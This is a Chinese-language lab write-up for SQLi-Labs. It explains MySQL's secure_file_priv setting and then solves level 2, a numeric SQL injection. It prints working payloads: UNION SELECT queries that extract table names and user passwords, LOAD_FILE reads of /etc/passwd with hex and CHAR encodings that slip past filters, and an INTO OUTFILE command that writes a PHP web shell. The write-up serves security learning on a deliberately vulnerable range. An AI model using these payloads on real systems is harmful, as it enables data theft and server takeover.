SQLi-Labs?
? ? ? ?它是一個開源的、專門為學習 ??Web安全?? 和 ??SQL注入技術?? 而設計的靶場項目。開發者故意在代碼中留下了各種不同類型的SQL注入漏洞,讓安全研究人員、學生和愛好者可以在一個合法、安全的環境中進行實戰練習,從而掌握發現和利用SQL注入漏洞的技能。
secure_file_priv
? ?MySQL自5.6版本以后引入的一個重要的安全特性。它是一個??系統全局變量??,用于??限制MySQL服務器進行文件導入(LOAD DATA INFILE)和導出(SELECT ... INTO OUTFILE)操作時,可以訪問的目錄范圍??。
? ? ? ?這個設置的主要目的是防止惡意用戶利用MySQL的文件操作功能來讀取或寫入服務器上的敏感文件(如?/etc/passwd
、網站源碼等),從而極大地增強了數據庫服務器的安全性。
secure_file_priv
的三種狀態及其含義
SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%';
該命令的返回結果通常為以下三種情況之一,每種情況都有不同的安全含義:
??取值狀態?? | ??含義?? | ??安全影響?? |
---|---|---|
?? | ??禁止所有文件導入導出操作?? | 這是??最安全??的配置。意味著您無法使用? |
??空字符串 ( | ??允許文件導入導出到任意目錄?? | 這是??最不安全??的配置。MySQL可以對文件系統進行任意讀寫(受操作系統權限限制)。??這是攻擊者最希望看到的狀態。?? |
??一個目錄路徑?? | ??只能向指定目錄進行文件導入導出?? | 這是一種??折中的安全策略??。文件操作被限制在某個沙箱目錄內,既滿足了功能需求,又大幅降低了風險。 |
配置?secure_file_priv
? 這個參數需要在MySQL的配置文件(my.cnf
或?my.ini
)中設置,??無法在運行時通過SQL語句動態修改??。
- ??Linux系統??:配置文件為?
/etc/my.cnf
或?/etc/mysql/my.cnf
。 - ??Windows系統??:配置文件為?
my.ini
,位于MySQL的安裝目錄下。
在?[mysqld]
配置塊下添加或修改該參數,然后??重啟MySQL服務??才能生效。
??配置示例:?
[mysqld]
secure_file_priv = /var/lib/mysql-files/
要成功利用文件讀寫注入漏洞,??攻擊者需要?secure_file_priv
的值為?NULL
以外的狀態??。
文件讀(下載)漏洞??:
? ? ? ?利用?SELECT ... INTO OUTFILE
語句,將數據庫查詢結果寫入一個文件。如果?secure_file_priv
設置為一個可訪問的目錄,攻擊者就可能將敏感數據(如用戶密碼哈希)寫入該目錄下的Web可訪問文件,從而下載它。
SELECT * FROM users INTO OUTFILE '/var/www/html/export.txt';
??文件寫(上傳)漏洞??:
? ? ? 利用?LOAD DATA INFILE
語句,將一個文件的內容讀取到數據庫表中。如果配置不當,攻擊者可以上傳一個惡意的Web Shell(如PHP文件)到Web目錄,從而獲取服務器控制權。
LOAD DATA INFILE '/tmp/evil.php' INTO TABLE test_table;
配置值?? | ??含義解讀?? | ??安全等級與影響?? |
---|---|---|
?? | ??對文件讀寫沒有限制??。 | ???最低(最不安全)?? |
?? | ??完全禁止文件導入和導出操作??。 | ??最高(最安全)?? |
?? | ??只能對該指定路徑下的文件進行讀寫??。 | ???推薦(平衡安全與功能)?? |
配置重要性
這個配置是 ??“文件讀寫型SQL注入”?? 漏洞能否被利用的??關鍵前提??。
? ? ? 黑客在發現一個SQL注入點后,如果發現?secure_file_priv
沒有設置為?NULL
,他們可能會嘗試:??讀取敏感文件??:如數據庫配置文件、系統密碼文件等。寫入惡意文件??:例如,向Web目錄寫入一個PHP木馬(Webshell),從而獲取服務器控制權。因此,將?secure_file_priv
設置為?NULL
或一個嚴格的受限路徑,是保護數據庫服務器安全的一道??重要防線??。
前置條件
??單引號字符串??:LOAD_FILE('/etc/passwd')
??十六進制編碼??:LOAD_FILE(0x2f6574632f706173737764)
(0x
后跟?/etc/passwd
的16進制值,可繞過某些引號過濾)
??CHAR函數轉換??:LOAD_FILE(CHAR(47,101,116,99,47,112,97,115,115,119,100))
(同樣用于繞過過濾)
??路徑斜杠??:必須使用Linux系統路徑分隔符 ??正斜杠?/
??(例如?/etc/passwd
),而不能使用Windows的反斜杠
常見讀取目標??
- MySQL配置文件??:如?
my.cnf
、config.php
(通常內含數據庫連接密碼)。 - 系統敏感文件??:如?
/etc/passwd
(用戶信息)、Apache配置?httpd.conf
。 - ??Web應用源碼??:通過讀取網站源碼尋找漏洞或敏感信息。
- ??
INTO OUTFILE
??:??特點??:可寫入多行數據,??會執行格式化輸出??(如將字段值以制表符分隔,行以換行符結尾)。非常適合導出查詢結果(如?SELECT * FROM users INTO OUTFILE '/tmp/users.csv'
)。 - ??
INTO DUMPFILE
??:特點??:??只能寫入一行數據??,且輸出無任何格式(原始數據流)。適用于寫入二進制文件(如DLL、EXE、圖片)或單個字符串。 - 路徑限制??:
OUTFILE
??后面只能接單引號字符串路徑??(如?'/var/www/html/shell.php'
),??不能使用十六進制或CHAR轉換??的路徑,這是語法上的硬性規定。
常見寫入目標??
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
- ??數據導出??:將數據庫數據導出到指定文件進行備份或分析。MySQL配置?
secure_file_priv
??:該系統變量決定了MySQL能否讀寫文件以及可以訪問的目錄。如果其值為?NULL
(默認安全配置),則??禁止所有文件讀寫操作??。如果其值為某個路徑(如?/tmp
),則只能在該目錄下進行文件讀寫。只有其值為??空??時,才允許進行任意文件讀寫。可通過?SHOW VARIABLES LIKE 'secure_file_priv';
命令查看當前配置。 - ??WebShell寫入??:在具備可寫權限的Web目錄下寫入PHP等腳本文件,從而獲取服務器控制權。
第二關
首先打開php開啟mysql,一定要5.7版本,打開靶場第二關,本關是 ??數字型注入(Integer-based SQL Injection)?? 的經典關卡。這一關與第一關(字符型注入)的核心區別在于:??參數ID沒有被單引號(')包裹??,因此無需處理引號閉合問題。通關的核心思路是??通過?UNION SELECT
語句拼接查詢,直接從數據庫中提取敏感信息??。
攻擊載荷:
1. ??判斷注入點與類型??
首先,確認注入點是數字型,且可注入。
?id=1 and 1=1 --+ 頁面正常 ?id=1 and 1=2 --+ 頁面異常(返回空或錯誤)
如果符合該現象,說明為數字型注入,and 1=2
導致條件永假,原查詢無結果。
2. ??判斷當前查詢的字段數(列數)??
使用?ORDER BY
子句進行猜測,直到頁面報錯:
?id=1 ORDER BY 1 --+ 正常
?id=1 ORDER BY 2 --+ 正常
?id=1 ORDER BY 3 --+ 正常
?id=1 ORDER BY 4 --+ 錯誤
這說明 ??當前查詢的字段數為 3??。
3. ??確定顯示位??
使用?UNION SELECT
來找到頁面中會回顯數據的字段位置:
?id=-1 UNION SELECT 1,2,3 --+
頁面通常會顯示數字?2
和?3
(或?1,2,3
中的某幾個),這兩個數字就是我們可以用來回顯數據的“顯示位”。
4. ??利用顯示位提取信息??
將您想查詢的數據替換到顯示位的位置上。以下是一些常用的Payload:
??查看當前數據庫名與用戶??:
?id=-1 UNION SELECT 1,database(),user() --+
頁面會顯示當前數據庫名稱和數據庫用戶。
??查看所有數據庫名??:
?id=-1 UNION SELECT 1,2,GROUP_CONCAT(schema_name) FROM information_schema.schemata --+
??查看當前數據庫的所有表名??:
?id=-1 UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database() --+
??查看某張表的所有字段名(例如?users
表)??:
?id=-1 UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users' --+
??最終目標:提取數據(例如?users
表中的用戶名和密碼)??
?id=-1 UNION SELECT 1,GROUP_CONCAT(username),GROUP_CONCAT(password) FROM users --+
也可以用來文件讀寫
http://localhost/sql/Less-2/index.php?id=-1union select 1,'sfsf',3 into outfile 'd:/1.txt'--+
#第二個字段用來生成文件內容,不用提前創建文件,這條命令會自動創建
#into outfile '文件絕對路徑' --+?
最后可以看到在d盤生成了一個文本文件,字段2里包含了命令內容